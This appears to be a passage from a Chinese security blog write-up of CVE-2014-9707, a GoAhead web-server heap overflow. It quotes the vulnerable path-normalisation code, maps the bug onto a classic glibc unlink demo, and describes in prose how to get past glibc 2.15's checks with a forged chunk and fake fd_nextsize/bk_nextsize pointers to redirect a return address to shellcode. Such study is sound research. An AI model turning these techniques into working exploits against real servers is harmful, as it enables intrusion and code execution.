EAX: 0x0 
EBX: 0xef3 
ECX: 0xef3 
EDX: 0x6 
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8 
EBP: 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3

总结一下整个漏洞的形成过程,在goahead中,程序会开启监听socket进程,之后会有一个函数用于处理接收到的数据包。在收到url后,会对url进行进一步处理,在处理的过程中,由于对.的控制逻辑混乱,导致处理结束后的判断长度和之前的长度不等,从而可以导致超长串考入先前申请长度的缓冲区,引发堆溢出漏洞。

0x03 从漏洞分析到unlink模型


直到这里,我们跟踪调试了发生堆溢出的根本原因,下一步我们要完成利用,在这之前我加了一个这一章节--从漏洞分析到unlink模型,加这一节最主要的原因就是为了解释为什么说CVE-2014-9707是我见过的一个非常经典的堆溢出漏洞,首先我们再来回顾一下发生漏洞的源码部分。

PUBLIC char *websNormalizeUriPath(char *pathArg)
{
    char    *dupPath, *path, *sp, *dp, *mark, **segments;
    int     firstc, j, i, nseg, len;

    if (pathArg == 0 || *pathArg == '\0') {
        return "";
    }
    len = (int) slen(pathArg);
    if ((dupPath = walloc(len + 2)) == 0) {
        return NULL;
    }
    strcpy(dupPath, pathArg);

    if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {
        return NULL;
    }
    nseg = len = 0;
    firstc = *dupPath;
    for (mark = sp = dupPath; *sp; sp++) {
        if (*sp == '/') {
            *sp = '\0';
            while (sp[1] == '/') {
                sp++;
            }
            segments[nseg++] = mark;
            len += (int) (sp - mark);
            mark = sp + 1;
        }
    }
    segments[nseg++] = mark;
    len += (int) (sp - mark);
    for (j = i = 0; i < nseg; i++, j++) {
        sp = segments[i];
        if (sp[0] == '.') {
            if (sp[1] == '\0')  {
                if ((i+1) == nseg) {
                    segments[j] = "";
                } else {
                    j--;
                }
            } else if (sp[1] == '.' && sp[2] == '\0')  {
                if (i == 1 && *segments[0] == '\0') {
                    j = 0;
                } else if ((i+1) == nseg) {
                    if (--j >= 0) {
                        segments[j] = "";
                    }
                } else {
                    j = max(j - 2, -1);
                }
            }
        } else {
            segments[j] = segments[i];
        }
    }
    nseg = j;
    assert(nseg >= 0);
    if ((path = walloc(len + nseg + 1)) != 0) {
        for (i = 0, dp = path; i < nseg; ) {
            strcpy(dp, segments[i]);
            len = (int) slen(segments[i]);
            dp += len;
            if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
                *dp++ = '/';
            }
        }
        *dp = '\0';
    }
    wfree(dupPath);
    wfree(segments);

有几个地方值得关注,首先是刚刚进入函数的时候,有一处申请堆操作

if ((dupPath = walloc(len + 2)) == 0) {

紧接着第二处申请堆操作

if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {

然后是第三处申请堆操作

if ((path = walloc(len + nseg + 1)) != 0) {

紧接着会对两个堆空间进行free操作

wfree(dupPath);
wfree(segments);

经过之前的分析,问题出现在path申请堆空间后的strcpy后,其实看到这里可以很明朗的看出一些东西,我们来看一张对比图。

阅读过堆溢出漏洞的小伙伴肯定对右面图中的代码很熟悉,实际上,CVE-2014-9707这个漏洞,分析完这个漏洞的成因之后,可以还原成一个最常见的unlink漏洞利用的模型!

#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 660 );
/*[2]*/ second = malloc( 660 );
        if(argc!=1)
/*[3]*/         strcpy( second, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

接下来,我们来看一下这个漏洞申请堆空间的布局。

我们可以看到,根据malloc的情况,可以将申请的空间做如下布局,top chunk是未被分配的堆空间,path所处的chunk,是可控的,也就是上面给出模型中的second部分,argv[1]就相当于我们在实战中要拷贝的堆空间。

也就是说,当我们在demo中,找到一个合适的payload,导致返回地址被修改成shellcode地址,或者system地址等等,无论怎么样,都能达到最后的利用。

这里我需要多说几句,如果仔细看过上面的demo和以前unlink的文章比较的话,会发现我拷贝的是第二个缓冲区,也就是说在free(second)的时候,才有可能会出发unlink,而不是free(first),这是因为在实战中,free(segment)的时候才会出发漏洞,所以利用覆盖got表中free地址替换为shellcode或者system函数的方法并不可用。

这里还是要利用覆盖返回地址的方法。关于unlink的触发机制在unlink的各种文档中都有详细描述,简单的描述 理解大致就是空闲块合并操作,释放块的时候,通过欺骗某chunk header来达到令系统认为A块的前面一块活着后面一块是空闲的,这样就会触发A块脱链,触发unlink宏,当然,这里A块不一定是当前块,也有可能是当前块的下一块。

0x04 glibc保护机制与绕过


在不断的版本更新中,glibc对抗堆溢出漏洞的手法层出不穷,在不断的演变中,我们需要面对不同的防护机制,这里通过对比分析和实战,我总结了glibc在进化过程中的变化和利用方法。很多利用在以前unlink的文章中都有描述,我在文末的参考文章中都已经指出,这里就不再进行赘述。

首先来看一下glibc 2.1.1版本中,关于unlink宏的定义。malloc.c第2344行。

#define unlink(P, BK, FD)                                                     \
{                                                                             \
  BK = P->bk;                                                                 \
  FD = P->fd;                                                                 \
  FD->bk = BK;                                                                \
  BK->fd = FD;                                                                \
}         

可以看到,最老版本的glibc中对chunk header的控制并不好,导致那个时候是最好利用的,这里对chunk header的结构我就不再多做描述,几乎所有关于linux下的堆溢出文章中都会提到,那么这里,如果我们设置unlink块的对象中的bk和fd为某些特殊的值,在这个条件下很容易就能达到利用。

接下来来看一下glibc 2.15版本中,关于unlink宏的定义。malloc.c第1544行。

#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
    malloc_printerr (check_action, "corrupted double-linked list", P); \
  else {                                                               \
    FD->bk = BK;                                                       \
    BK->fd = FD;                                                       \
    if (!in_smallbin_range (P->size)                       \
    && __builtin_expect (P->fd_nextsize != NULL, 0)) {         \
      assert (P->fd_nextsize->bk_nextsize == P);               \
      assert (P->bk_nextsize->fd_nextsize == P);               \
      if (FD->fd_nextsize == NULL) {                       \
    if (P->fd_nextsize == P)                       \
      FD->fd_nextsize = FD->bk_nextsize = FD;              \
    else {                                 \
      FD->fd_nextsize = P->fd_nextsize;                \
      FD->bk_nextsize = P->bk_nextsize;                \
      P->fd_nextsize->bk_nextsize = FD;                \
      P->bk_nextsize->fd_nextsize = FD;                \
    }                                  \
      } else {                                 \
    P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
    P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
      }                                    \
    }                                      \
  }                                                                    \
}

可以看到,这里对FD->bk和BK->fd做了严格的判断,如果下一块的fd和前一块的bk不等于当前块,则会打印错误信息。只有当判断条件通过的情况下,才会执行else语句内的后续赋值内容。那么,是不是这样条件下就无法利用了呢?我们可以关注到,在else语句中还有一个嵌套的if语句,其中会执行一个函数in_smallbin_range,传参为当前块的大小,当当前块大小大于512字节的时候,程序会进入if语句中的内容,其中涉及到两个非常关键的指针指向变量fd_nextsize和bk_nextsize,而这个if语句中的else内,会执行一个赋值操作,对这两个变量,没有进行检查,于是在这种情况下,我们需要构造一个大于512字节的块,伪造fd_nextsize和bk_nextsize来完成利用。

在这个漏洞的利用环境下就是利用的这个unlink宏,那么我们注意到在判断完FD->bk后的入口点,有两个assert断言,实际上在release版本下,这两个断言并不能触发。

接下来我们来看较新的glibc 2.21,在这个版本下,malloc.c第1411行

#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {                                    \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)", P);\
            if (FD->fd_nextsize == NULL) {                    \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;             \
                else {                                \
                    FD->fd_nextsize = P->fd_nextsize;                 \
                    FD->bk_nextsize = P->bk_nextsize;                 \
                    P->fd_nextsize->bk_nextsize = FD;                 \
                    P->bk_nextsize->fd_nextsize = FD;                 \
                  }                               \
              } else {                                \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
              }                                   \
          }                                   \
      }                                       \
}

和上面的代码大同小异,但是可以看到在之前的assert断言中判断的内容,被挪到if语句中进行判断,也就是说利用fd_nextsize和bk_nextsize伪造的方法不能再利用了。

因此在最新版glibc下如何完成堆溢出,是我下一步想研究的内容。

0x05 从unlink到漏洞利用

讲了glibc版本更迭,攻防对抗的升级,下面来讲一下这个漏洞的利用,在之前的内容中我们提到path是可控的,也就是说我们利用path覆盖top chunk,然后在segment被释放的时候,会去top chunk header中判断path块是否空闲,如果这时候欺骗linux让它认为path块空闲,则会触发path块unlink操作,从而导致漏洞呗利用。

在最老的版本glibc中,我们只需要将fd和bk分别设置为特定值即可完成利用,但是之前也提到新版glibc中发生的变化,下面我们来看一下linux中对抗堆溢出需要注意哪些情况吧。

首先linux会对堆大小进行检查,也就是说chunk header中的prev_size会被检查,这是为了对抗堆溢出中,设定prev_size为-4这种负数的情况,用于欺骗,因为为了计算前一个堆的偏移会用某chunk头部地址减去prev_size。

这时候就会产生错误。

来看一下glibc2.15的malloc.c中关于前一块大小检查部分的代码。

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (nextsize >= av->system_mem, 0))
      {
    errstr = "free(): invalid next size (normal)";

可以看到,在这里会对nextsize进行判断,nextsize是由下一块的chunksize得到,这时我们要记住prev_size,纪录的是前一块的大小,04030201时产生错误。

其次是double free的检查,不能连续释放两次,也就是说,当堆溢出覆盖下一个块和下下一个块的in_use位为0的时候(空闲状态),会无法通过double free的检查。

可以看到,这时大小变成01020304后,通过了next size的检查,但是来看IN_USE位,当下一块和下下块IN_USE位都为0时,也就是连续两个块都空闲,则无法通过double free的检查。

来看一下malloc.c中的相关代码。

    /* Or whether the block is actually not marked used.  */
    if (__builtin_expect (!prev_inuse(nextchunk), 0))
      {
    errstr = "double free or corruption (!prev)";
    goto errout;
      }

因此不能有连续两个块IN_USE都为0.

于是,我们可以构造这样的利用方法,glibc 2.15版本下,最新版会有新的防护,之前已经提到。

这里,我们构造一个伪造的块处于path块和top chunk块之间,用这种方法来绕过之前提到的FD->bk=P的检查,最后在前面的章节中,我们介绍到利用fd_nextsize和bk_nextsize的方法来完成最终的代码执行,于是我们将返回地址和shellcode地址分别布置在这两处位置。

最后我们可以完成利用。

在这个研究中,我对linux堆溢出有了更深刻的理解,确实刚开始接触堆溢出的时候感觉很乱,尤其是链表,后来发现自己研究链表的机制,很快就能明白,尤其是配合这个漏洞进行调试,希望大家能够多多交流,共同进步!

参考文章: